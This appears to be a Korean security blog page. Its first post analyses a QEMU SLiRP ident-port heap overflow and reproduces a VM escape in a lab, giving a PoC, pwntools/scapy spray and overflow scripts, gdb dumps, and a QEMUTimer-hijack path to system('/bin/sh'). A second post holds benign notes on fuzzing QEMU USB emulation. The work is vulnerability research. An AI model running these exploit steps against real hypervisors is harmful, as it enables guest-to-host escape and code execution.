개요

https://github.com/0xKira/qemu-vm-escape

QEMU의 113 포트 (SLiRP module)에서 힙 오버플로우 취약점이 존재해 해당 취약점을 통해 VM Escape을 얻은 케이스다. PoC가 주어져있는데, 아래와 같다.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

113에 TCP로 계속해서 데이터를 넣는 모습을 확인할 수 있다. 데이터가 계속해서 써지면 결국 힙 오버플로우가 발생한다.

환경세팅

-enable-kvm 옵션을 사용하기 위해서는 우분투를 멀티부팅 형식으로 설치할 수밖에 없었다. Nested로 하는 방법도 존재했지만 시스템에 어떤 영향을 줄지 예상이 가지 않아 우분투를 설치하기로 마음먹었다.

우분투를 설치하는데 많은 트러블슈팅 과정을 거쳤다. 그램과 노트북, rufus / unetbootin / UUI를 번갈아 가며 설치를 시도했지만 결국에는 노트북에 기존에 가지고 있었던 Ubuntu 18.04.1 버전을 설치하였다. 노트북 BIOS 옵션에 들어가 꼭꼭 숨겨져있던 UEFI 옵션을 끄고서야 USB 부팅이 되었고, 그램에 설치를 시도할 때에는 UEFI 부팅을 끄는 옵션이 있었지만 Legacy Boot 옵션을 킬 수가 없어 (회색으로 처리되어 킬 수 없었다) Ubuntu 설치에 실패하였다.

9시간 정도 소모하여 간신히 우분투를 설치한 뒤에 기본적인 프로그램들을 설치하고 Qemu를 설치하였다. Qemu의 경우 버그가 발생한 Qemu의 정확한 버전을 알수가 없어 v3.1.0 버전을 사용하였다. 해당 버전의 코드를 확인하여 패치가 아직 이루어지지 않았음을 확인하였다. 해당 버전을 설치하는 과정은 다음과 같다.

git clone https://github.com/qemu/qemu
cd qemu
git reset --hard 32a1a94
mkdir build
cd build
../configure
make
cp x86_64-softmmu/qemu-system-x86_64 ../..

위 컴파일 과정을 위해서는 dependency들이 많이 필요한데 해당 리스트는 링크에서 구하였다.

Qemu를 설치했으면 이제 VM을 설치해야 한다. 18.04 우분투 이미지를 받아서 해당 이미지로부터 이미지를 생성해야 했다. 이미지를 생성하는 방법은 링크에서 배울 수 있었지만, 환경이 달라 약간의 조정이 필요했다. 최종적으로 사용한 명령어들은 아래와 같다.

wget http://old-releases.ubuntu.com/releases/18.04.1/ubuntu-18.04.4-desktop-amd64.iso
qemu-img create -f qcow2 ubuntu-18.04-desktop-amd64.img.qcow2 32G
sudo ../qemu-system-x86_64 -cdrom ubuntu-18.04.4-server-amd64.iso -drive file=ubuntu-18.04-server-amd64.img.qcow2,format=qcow2 -enable-kvm -m 2G -smp 1 -L ../qemu/build/pc-bios

위 명령어들을 실행하면 설치 과정을 실행할 수 있다. 실행해도 화면이 나오지 않는데, VNC server running on 127.0.0.1:5900 메세지를 보고 remmina 프로그램을 통해 VNC 서버에 접속하여 화면을 확인할 수 있었다. 설치 과정은 일반적인 우분투 설치 과정과 동일하다.

해당 설치 과정을 거쳤으면 이미지로부터 스냅샷을 생성해야 한다. 스냅샷은 기존 이미지와 다른 점들만 저장하는 용도로, 용량이 많이 줄어 용량을 아낄 수 있다. 해당 명령어는 아래와 같다.

qemu-img create -f qcow2 -b ubuntu-18.04-desktop-amd64.img.qcow2 ubuntu-18.04-desktop-amd64.snapshot.qcow2

위 명령어로 스냅샷을 생성한 뒤 해당 스냅샷으로 Qemu를 구동하면 된다.

sudo ../qemu-system-x86_64 -drive file=ubuntu-18.04-desktop-amd64.snapshot.qcow2,format=qcow2 -enable-kvm -m 4G -smp 1 -net user,hostfwd=tcp::2222-:22 -net nic -L ../qemu/build/pc-bios -boot a

Qemu를 구동한 뒤 안에서 링크 안에 있는 PoC 코드를, 밖에서는 sudo nc -lvv 113 를 실행하면 VM이 Segmentation fault와 함께 죽는 것을 확인할 수 있다.

Root Cause Analysis

QEMU의 113 포트 (SLiRP module)에 힙 오버플로우 취약점이 존재한다. 해당 힙 오버플로우 취약점은 유저가 보내는 데이터를 별도의 체크 없이 계속해서 받아 생긴다. 아래 코드를 살펴보자.

// slirp/tcp_subr.c:624
    switch(so->so_emu) {
        int x, i;

     case EMU_IDENT:
        /*
         * Identification protocol as per rfc-1413
         */

        {
            struct socket *tmpso;
            struct sockaddr_in addr;
            socklen_t addrlen = sizeof(struct sockaddr_in);
            struct sbuf *so_rcv = &so->so_rcv;

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
// slirp/tcp_subr.c:535
/*
 * Set the socket's type of service field
 */
static const struct tos_t tcptos[] = {
      {0, 20, IPTOS_THROUGHPUT, 0},    /* ftp data */
      {21, 21, IPTOS_LOWDELAY,  EMU_FTP},    /* ftp control */
      {0, 23, IPTOS_LOWDELAY, 0},    /* telnet */
      {0, 80, IPTOS_THROUGHPUT, 0},    /* WWW */
      {0, 513, IPTOS_LOWDELAY, EMU_RLOGIN|EMU_NOCONNECT},    /* rlogin */
      {0, 514, IPTOS_LOWDELAY, EMU_RSH|EMU_NOCONNECT},    /* shell */
      {0, 544, IPTOS_LOWDELAY, EMU_KSH},        /* kshell */
      {0, 543, IPTOS_LOWDELAY, 0},    /* klogin */
      {0, 6667, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC */
      {0, 6668, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC undernet */
      {0, 7070, IPTOS_LOWDELAY, EMU_REALAUDIO }, /* RealAudio control */
      {0, 113, IPTOS_LOWDELAY, EMU_IDENT }, /* identd protocol */
      {0, 0, 0, 0}
};

취약점은 EMU_IDENT, 즉 113번 포트에서 발생하며 sbufm->m_data의 길이 체크 없이 데이터를 memcpy로 밀어넣는 것을 볼 수 있다. 때문에 sbuf 안에서 overflow가 발생한다. 해당 overflow가 나는 것을 gdb로 확인해보자.

우선 좀 더 편하게 PoC 코드를 돌려보고 수정하기 위해 PoC 코드를 pwntools를 이용하여 재구성하였다.

#!/usr/bin/python

from pwn import *

p = remote("10.0.2.2", 113)

while True:
    p.send("A"*0x500)

send를 루프를 돌리지 말고 한번만 보낸 뒤에 데이터가 어느 영역에 저장되는지를 살펴보자. "A"*0x500 을 보낸 후에 "B"*53 을 보낸 뒤 gdb로 메모리를 찍어보았다.

gdb-peda$ x/32wx 0x7f2a48a54070-0x500
0x7f2a48a53b70:    0x0d302c30    0x4141000a    0x41414141    0x41414141
0x7f2a48a53b80:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53b90:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53ba0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bb0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bc0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bd0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53be0:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070-0x80
0x7f2a48a53ff0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54000:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54010:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54020:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54030:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54040:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54050:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54060:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070
0x7f2a48a54070:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54080:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54090:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a540a0:    0x42424242    0x00000a42    0x00000000    0x00000000
0x7f2a48a540b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540c0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540d0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540e0:    0x00000000    0x00000000    0x00000000    0x00000000

해당영역에 보낸 데이터가 그대로 이어져서 붙어 나오는 것을 쉽게 확인할 수 있다. 멀티스레드 힙이기 때문에 map 상에는 단순하게 mapped 영역에 있는 것으로 보인다. 청크 사이즈는 0x2245 로 크기가 한정되어 있음을 확인할 수 있다.

이제 데이터를 더 밀어넣고 오버플로우가 발생하는지 확인해보자. 청크 크기+1 만큼 데이터를 밀어넣어 8바이트만큼 오버플로우가 발생하도록 하였다. (다음 청크의 사이즈가 덮이도록 설정하였다)

#!/usr/bin/python

from pwn import *

p = remote("10.0.2.2", 113)

p.send("A"*(0x400-6))
for i in xrange(7):
    p.send("A"*0x400)
p.send("G"*0x239)

p.interactive()
gdb-peda$ x/8gx 0x7f3b84253400-0x10
0x7f3b842533f0:    0x0000000000000000    0x0000000000002245
0x7f3b84253400:    0x4141414141414141    0x4141414141414141
0x7f3b84253410:    0x4141414141414141    0x4141414141414141
0x7f3b84253420:    0x4141414141414141    0x4141414141414141
gdb-peda$ x/8gx 0x7f3b84253400-0x10+0x2240
0x7f3b84255630:    0x4747474747474747    0x0000000000001f47
0x7f3b84255640:    0x00007f3b84000080    0x00007f3b84000080
0x7f3b84255650:    0x0000000000000000    0x0000000000000000
0x7f3b84255660:    0x0000000000000000    0x0000000000000000

다음 청크의 사이즈의 한 바이트가 47 로 성공적으로 덮인 것을 확인할 수 있다. 이후 continue를 하게 되면 SIGABRT가 나오며 Qemu가 죽게된다.

즉, sbuf는 힙 영역에 할당되어 있기 때문에 heap overflow가 발생하고, 해당 overflow를 이용하여 힙 익스플로잇을 작성하면 된다.

Exploit

이제 힙 오버플로우를 통해 힙 구조를 조작할 수 있게 되었지만 여전히 malloc, free를 임의로 호출할 수 없다. 따라서 이들을 위해 primitive를 작성할 필요가 있다.

malloc primitive

https://github.com/0xKira/qemu-vm-escape/blob/master/writeup_zh.md

해당 write-up을 보게 되면 malloc primitive를 IP Fragmentation을 통해 얻는 것을 확인할 수 있다. 아래 코드를 살펴보자.

// slirp/ip_input.c:184
        /*
         * If datagram marked as having more fragments
         * or if this is not the first fragment,
         * attempt reassembly; if it succeeds, proceed.
         */
        if (ip->ip_tos & 1 || ip->ip_off) {
            ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
                return;
            m = dtom(slirp, ip);
        } else
            if (fp)
                  ip_freef(slirp, fp);

ip_reass 에서 리턴값을 NULL로 받게 되면 바로 return 해버리기 때문에 m_buf가 그대로 남아있는 것을 확인할 수 있다. ip_reass에서 리턴값이 NULL이 되는 경우는 다음과 같다.

  1. fp == NULL
  2. insert로 이동
  3. 큐 확인 후 해당 fragment 패킷을 삽입하는 것이 불가능하다. -> NULL 반환

하지만 해당 루틴까지 오기 위해 거쳐야 할 체크들이 존재한다. (아래 체크들이 만족하면 문제가 되며 바로 m_free 루틴으로 향한다)

  1. m->m_len < sizeof (struct ip)
  2. ip->ip_v != IPVERSION
  3. hlen<sizeof(struct ip ) || hlen>m->m_len
  4. cksum(m,hlen)
  5. ip->ip_len < hlen
  6. m->m_len < ip->ip_len
  7. ip->ip_ttl == 0

마지막으로 ip->ip_off &~ IP_DF, ip->ip_tos & 1 || ip->ip_off 조건들도 만족해야 원하는 루틴을 트리거할 수 있다. 아래 코드를 작성하고 돌렸을 경우 malloc이 연속적으로 수행되면서 청크가 쌓인다.

packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
send(packet, verbose=False)

malloc과 free 함수들에 대해 후킹을 진행한 뒤 위의 코드를 반복적으로 실행하면 아래 결과들을 얻을 수 있다. (LD_PRELOAD를 통해 후킹을 진행한 뒤 진행하였다)

0x7f9c1c1997b0 : malloc(668) hooked
0x7f9c1c199e20 : malloc(668) hooked
0x7f9c1c19a490 : malloc(668) hooked
0x7f9c1c19ab00 : malloc(668) hooked
0x7f9c1c13a980 : malloc(668) hooked
0x7f9c1c13aff0 : malloc(668) hooked
0x7f9c1c13b660 : malloc(668) hooked
0x7f9c1c13bcd0 : malloc(668) hooked
0x7f9c1c13c340 : malloc(668) hooked
0x7f9c1c13c9b0 : malloc(668) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked

위처럼 청크가 쌓이다가 아래 패턴이 반복된다.

0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked
0x7f9c1c13dd00 : malloc(668) hooked

한 청크 / bin에 대해 malloc과 free를 반복적으로 수행하나 malloc이 연속 3번으로 나와 청크가 쌓이는 것을 확인할 수 있다.

Arbitrary Write

Arbitrary write를 위해 mbuf를 할당받고 이를 heap overflow를 통해 덮어쓴 뒤 사용한다. 우선, 힙 레이아웃을 정리하여 mbuf를 할당받고 이를 덮어쓸 수 있게 해야 한다. 아래 과정을 통해 힙 레이아웃을 정리하였다.

  1. Malloc primitive로 0x2000짜리 heap spray (bin을 없애서 malloc을 차례대로 하면 차례대로 청크가 할당될 수 있도록 한다) (MTU 설정에 따라 크기가 달라지니 MTU 설정을 바꿔서 크기를 맞춰준다. (9000으로))
  2. sbuf->so_rcv 할당 받기 (0x2240짜리, 113 포트)
  3. Malloc primitive으로 mbuf 할당 받기 -> 0x2240 뒤에 할당됨

코드는 아래와 같다.

#!/usr/bin/python3

from pwn import *
from scapy.all import *

ip_src = "10.0.2.15"
ip_dst = "10.0.2.2"

p = None

def spray(spray_id):
    packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
    send(packet, verbose=False)

def send_to_113(data):
    global p
    p = remote(ip_dst, 113)

    for i in range(len(data) // 0x400):
        p.send(data[0x400*i:0x400*i+0x400])
        sleep(0.1)
    p.send(data[len(data) // 0x400 * 0x400:])
    sleep(0.1)

# do spray
spray_id = 0xaaaa
for i in range(0x100):
    spray(spray_id+i)

send_to_113("A"*0x2000+"G"*0x238)

spray(0xdead)

p.interactive()

이 상태에서 입력을 더 넣게 되면 heap overflow가 발생하는 것을 확인할 수 있다. (아래 참조, 8바이트 + newline을 넣어 9바이트만큼 오버플로우가 발생하였다)

0x7f4da408da00:    0x4747474747474747    0x4747474747474747
0x7f4da408da10:    0x4747474747474747    0x4747474747474747
0x7f4da408da20:    0x4747474747474747    0x5050505050505050
0x7f4da408da30:    0x00007f4da408b10a    0x00007f4da408e0a0
0x7f4da408da40:    0x0000000000000000    0x0000000000000000
0x7f4da408da50:    0x000006080000000c    0x00007f4da4123620
0x7f4da408da60:    0x00007f4da408dad0    0x0000000000000000
0x7f4da408da70:    0x000056093a36a7b0    0x0000000000000000
0x7f4da408da80:    0xffffffffffffffff    0x0000000000000000

위의 과정을 통해 mbuf 구조체를 덮을 수 있고 이는 arbitrary write까지 연결된다. 아래 루틴을 활용할 것이다.

// slirp/ip_input.c:331
    /*
     * Reassembly is complete; concatenate fragments.
     */
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *) q->ipf_next;
    while (q != (struct ipasfrag*)&fp->frag_link) {
      struct mbuf *t = dtom(slirp, q);
      q = (struct ipasfrag *) q->ipf_next;
      m_cat(m, t);
    }
// slirp/mbuf.c:129
/*
 * Copy data from one mbuf to the end of
 * the other.. if result is too big for one mbuf, allocate
 * an M_EXT data segment
 */
void
m_cat(struct mbuf *m, struct mbuf *n)
{
    /*
     * If there's no room, realloc
     */
    if (M_FREEROOM(m) < n->m_len)
        m_inc(m, m->m_len + n->m_len);

    memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
    m->m_len += n->m_len;

    m_free(n);
}

ip_reass 의 루틴을 이용하여 m_cat을 호출할 수 있으며, m_cat 에서는 memcpy로 데이터를 복사하여 넣어준다. 이를 이용하여 arbitrary write를 얻을 수 있다. m_cat을 실행하는 것은 단순히 같은 ip id 에 대해 MF를 끈 상태로 패킷을 보내면 된다. 그러면 조작한 m_data와 m_len에 따라서 데이터가 복사되어 들어가게 된다.

Memory Leak

ICMP echo reply에 대한 rfc792 문서를 보게 되면 아래 내용을 확인할 수 있다.

The data received in the echo message must be returned in the echo reply message.

즉, 보낸 데이터를 그대로 다시 돌려준다는 것이다. 따라서 이를 이용하여 memory leak을 낼 것이다.

Arbitrary write에서 했던 것과 비슷하게 한다. 다만, 이번에는 m_data를 전체 다 덮는 것이 아니라 일부만 (하위 3바이트) 덮어서 메모리를 얻을 것이다. 익스플로잇 진행 흐름은 아래와 같다.

  1. m_buf를 partial overwrite해서 힙의 다른 위치를 가리키게 한다.
  2. MF=1로 ICMP request를 보낸다.
  3. sbuf에서 heap overflow를 일으켜서 m_data의 하위 3바이트를 덮는다.
  4. MF=0으로 ICMP request를 보낸다. (2와 같은 아이디로)

이를 통해 Host에 ICMP request를 보내면 echo reply로 게스트에 메모리 값들을 다시 보내주게 된다. 해당 데이터를 다시 받아 libc base 주소와 heap 주소를 얻으면 된다.

PC Control

PC Control의 경우 QEMUTimer를 이용하면 된다. 해당 코드는 아래와 같다.

// util/qemu-timer.c:68
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};
// include/qemu/timer.h:83
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;
    void *opaque;
    QEMUTimer *next;
    int attributes;
    int scale;
};
// util/qemu-timer.c:588
bool qemu_clock_run_timers(QEMUClockType type)
{
    return timerlist_run_timers(main_loop_tlg.tl[type]);
}

QEMU timer에 관한 코드들은 위와 같다. main_loop_tlg 에 저장되어 있는 Timer 리스트를 가지고 와서 해당 리스트에 있는 timer의 cb 함수를 호출하게 된다. 따라서 fake timer list를 만든 뒤에 main_loop_tlg 를 덮어서 가짜로 만든 리스트를 참조하게 하면 된다. 그러면 cb에 넣은 함수 포인터를 참조하여 함수를 실행하게 되고, 이를 이용하여 PC Control을 얻을 수 있다.

힙의 적당한 위치에 arbitrary write primitive를 이용하여 fake timer list를 작성하고 다시 arbitrary write를 통해 main_loop_tlg를 덮어 fake timer list를 가리키게 하면 된다. cb에 system 함수를 넣으면 system을 실행해준다. cb 에 system을 넣고 opaque 에 명령어를 입력하면 (ex - "/bin/sh") system에 opaque에 들어가 있는 인자를 넣고 실행시킨다. 이를 통해 system에 원하는 명령어를 넣어 실행시킬 수 있다.

Conclusion

youtu.be/PT_dXlKWs8w

SLiRP에서 발생하는 힙 오버플로우 취약점을 성공적으로 익스플로잇할 수 있었다. 처음에 scapy를 이용하여 익스플로잇을 재구성하다가 실패하였고 그 원인을 6일간 삽질한 끝에 MTU를 조정하지 않았기 때문임을 알 수 있었다. 결국에는 주어진 익스플로잇 코드를 오프셋과 구조를 다시 변경하여 세팅한 환경에서 작동할 수 있도록 재구성하였고, 그 결과 성공적으로 익스플로잇을 할 수 있었다.

시간 관계상 scapy로 익스플로잇 코드를 재구성하는 것은 하지 못하지만 그래도 QEMU의 네트워크에서 발생하는 취약점을 어떻게 익스플로잇할 수 있는지 배울 수 있었다. 네트워크 프로토콜을 잘 조작하면 malloc primitive 등 원하는 기능을 수행할 수 있도록 바꿀 수 있다는 것을 확인할 수 있었고, 배우기만 했지만 직접 해보지 않았던 리얼월드에서 익스플로잇을 성공적으로 수행하기 위한 heap spray 기법 등을 이번 기회를 통해 직접 해볼 수 있었다.

마지막으로 security mitigation들이 모두 걸려있어 익스플로잇이 힘든 바이너리에서 QEMUTimer를 이용하여 익스플로잇을 할 수 있다는 것을 이번 익스플로잇 분석을 통해 배울 수 있었다.

'보안 > CVE Analysis' 카테고리의 다른 글

V8 CVE-2020-6383 Exploit  (0) 2021.01.19

주의

지극히 개인적인 의견만 들어가 있습니다.

소개

이 문서에서는 QEMU USB에 대한 삽질 내용들을 다룬다. USB에 대한 퍼징 시도는 많지만 이를 VM 환경에서 수행한 사례가 많이 없기 때문에 USB 퍼저를 작성하려는 시도를 하려 한다. 또한, 그 시도에서 얻은 정보들을 이곳에 간략하게나마 정리하려 한다.

본문

VM 환경에서의 퍼징

VM 환경에서 퍼징하는데 많은 어려움이 있는데 이를 정리하면 아래와 같다.

  1. High Overhead : 현실적으로 VM을 매 테스트케이스마다 껐다가 킬 수 없다. 따라서 VM을 켜놓은 상태에서 지속적인 (Persistent) 방법으로 퍼징을 수행해야 한다.
    1. 지속적인 방법으로 퍼징을 하려 한다면 퍼징 루프를 잘 설계해서 상태를 매 루프마다 원래대로 복구시켜줄 필요가 있다. 이는 테스트를 진행하는 사람이 져야 하는 위험이다. (Risk)
    2. 지속적인 방법에서 피드백을 지속적으로 제공해줄 수 있는 프록시 시스템이 필요하다.
    3. 테스트 하고 싶은 함수를 따로 고립시켜서 테스트 하는 방법도 있을 수 있겠지만 이는 생각보다 어렵다. 타겟의 전체적인 구조를 파악한 뒤에 시도해볼 만한 방법이다.
  2. QEMU 모드 등을 사용 불가능하다. (Nested virtualization 환경에서 테스트를 제대로 할 수 있을까)
  3. Instrumentation을 하는데 어려움이 많다. 컴파일 오류 등 여러 문제가 발생한다.

Interaction (Kernel)

기본적으로 실행 옵션에 USB를 주면 /sys/devices 아래 pciXXX 라는 이름으로 폴더가 생성된다. USB와 인터랙션을 하려면 해당하는 pci 디바이스에 찾아가서 resourceN에 r/w를 수행하면 된다. 일반적인 경우에는 open :arrow_right: mmap :arrow_right: memory r/w를 수행하는 방식으로 USB를 사용한다. 추가로 DMA 버퍼를 두는 경우가 있는데, 이 경우에는 mmap으로 추가로 페이지를 할당받은 뒤 mlock을 이용하여 swap out이 되지 않도록 막는다. (DMA 버퍼로 사용한다)

참고 : https://www.kernel.org/doc/Documentation/filesystems/sysfs-pci.txt

어떤 PCI 디바이스가 원하는 USB 디바이스인지 확인하기 위해 lspci 명령어를 사용할 수 있다. 해당 명령어를 실행하면 아래처럼 결과가 나온다.

vm@vm:/sys/devices/pci0000:00/0000:00:01.0$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton II] (rev 01)
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

우리가 원하는 디바이스는 USB 디바이스이므로 00:01.2 디바이스를 참조하면 된다. 위 경우에는 해당 디바이스가 /sys/devices/pci0000:00/0000:00:01.2에 위치하게 된다.

만약에 디바이스가 PCI가 아닌 캐릭터 디바이스 레벨로 접근을 하고 싶다면 /dev/bus/usb 폴더 안을 찾아보면 된다. 디바이스가 제대로 인식되는지 확인하려면 lsusb 명령어를 실행하여 리스트에 디바이스가 있는지 확인하면 된다. 캐릭터 디바이스도 PCI 디바이스와 마찬가지로 mmap과 메모리 연산을 통해 접근할 수 있다.

Analysis

Basic Structure

기본적으로 USB 에뮬레이터가 3가지 파트로 구성되어 있다.

  1. Raw data parsing
  2. State machine to track USB state
  3. Handler (read, can_read, event)

또한, 이들은 프런트엔드와 백엔드로 구성되어 있다. 아래 내용을 보자.

https://www.qemu.org/docs/master/qemu-doc.html#Character-device-options
A character device may be used in multiplexing mode by multiple front-ends. Specify mux=on to enable this mode. A multiplexer is a "1:N" device, and here the "1" end is your specified chardev backend, and the "N" end is the various parts of QEMU that can talk to a chardev. If you create a chardev with id=myid and mux=on, QEMU will create a multiplexer with your specified ID, and you can then configure multiple front ends to use that chardev ID for their input/output. Up to four different front ends can be connected to a single multiplexed chardev. (Without multiplexing enabled, a chardev can only be used by a single front end.) For instance you could use this to allow a single stdio chardev to be used by two serial ports and the QEMU monitor

프런트엔드와 백엔드 사이엔 MUX가 있어서 하나의 백엔드에 여러 프런트엔드를 연결할 수 있는 것으로 보인다. 즉, char device 하나로 두개의 디바이스를 제어할 수 있게 되는 것이다. 아래 링크의 단축키로 MUX를 제어할 수 있다.

https://www.qemu.org/docs/master/qemu-doc.html#mux_005fkeys

core

hw/usb/core.c에는 USB core 부분이 구현되어 있다. USB 탈부착이나 raw USB 패킷 파싱을 이 부분에서 진행한다.

dev-***, desc

각각의 디바이스에 해당하는 패킷을 처리하거나 특수한 에뮬레이션이 필요한 것들을 제공한다. 어떻게 보면 기본적인 드라이버 부분을 제공하는 것으로, 예를 들어 시리얼 통신의 경우 -serial 옵션을 주었을 경우 가상 디바이스를 생성해서 이를 에뮬레이션한다. 가상 디바이스에 들어오는 패킷들을 처리하거나 그에 맞는 동작들을 수행한다.

hcd-***

HCD (Host Controller Driver)에 해당하는 동작들을 수행한다. HCI 동작들을 수행하는 역할을 한다. USB 2.0, 3.0 등의 디바이스가 추가되었을 때 그에 알맞는 기능들을 수행한다.

Comment

전체적으로 state machine과 패킷 파싱 부분으로 깔끔하게 분리될 수 있고 각 부분이 워낙 명확하게 구현되어 있기 때문에 개발자가 실수할 부분이 많지가 않다. 그나마 취약점이 나올만한 부분이 HCD 쪽인데, 해당 부분을 테스트하기 힘들 뿐인 데다가 복잡도가 좀 있기 때문이다. 하지만 이 부분도 취약점이 나온 전적이 많지 않고 나왔더라도 임팩트가 낮은 취약점이어서 여기서 추가로 유의미한 취약점이 나올 수 있을지 의문이다.

결론

지금까지 USB에 대해 분석하였고, QEMU에서 어떤 부분들을, 또 어떻게 에뮬레이션해서 서비스를 제공하는지 알아보았다. USB는 기본적으로 좋은 벡터지만 QEMU의 경우 워낙 명확하게 패킷들을 처리하고 또 보안쪽으로 많이 신경썼기 때문에 (디바이스에 대한 퍼저가 따로 존재할 정도) 취약점이 나오기 힘들 것으로 사료된다.

'보안 > Bug Hunting' 카테고리의 다른 글

fetch --nohooks chromium 고치기  (1) 2021.06.19
My Fuzzers  (2) 2021.02.21
CCID Protocol  (0) 2021.01.19
VirtualBox SVGA  (0) 2021.01.19

+ Recent posts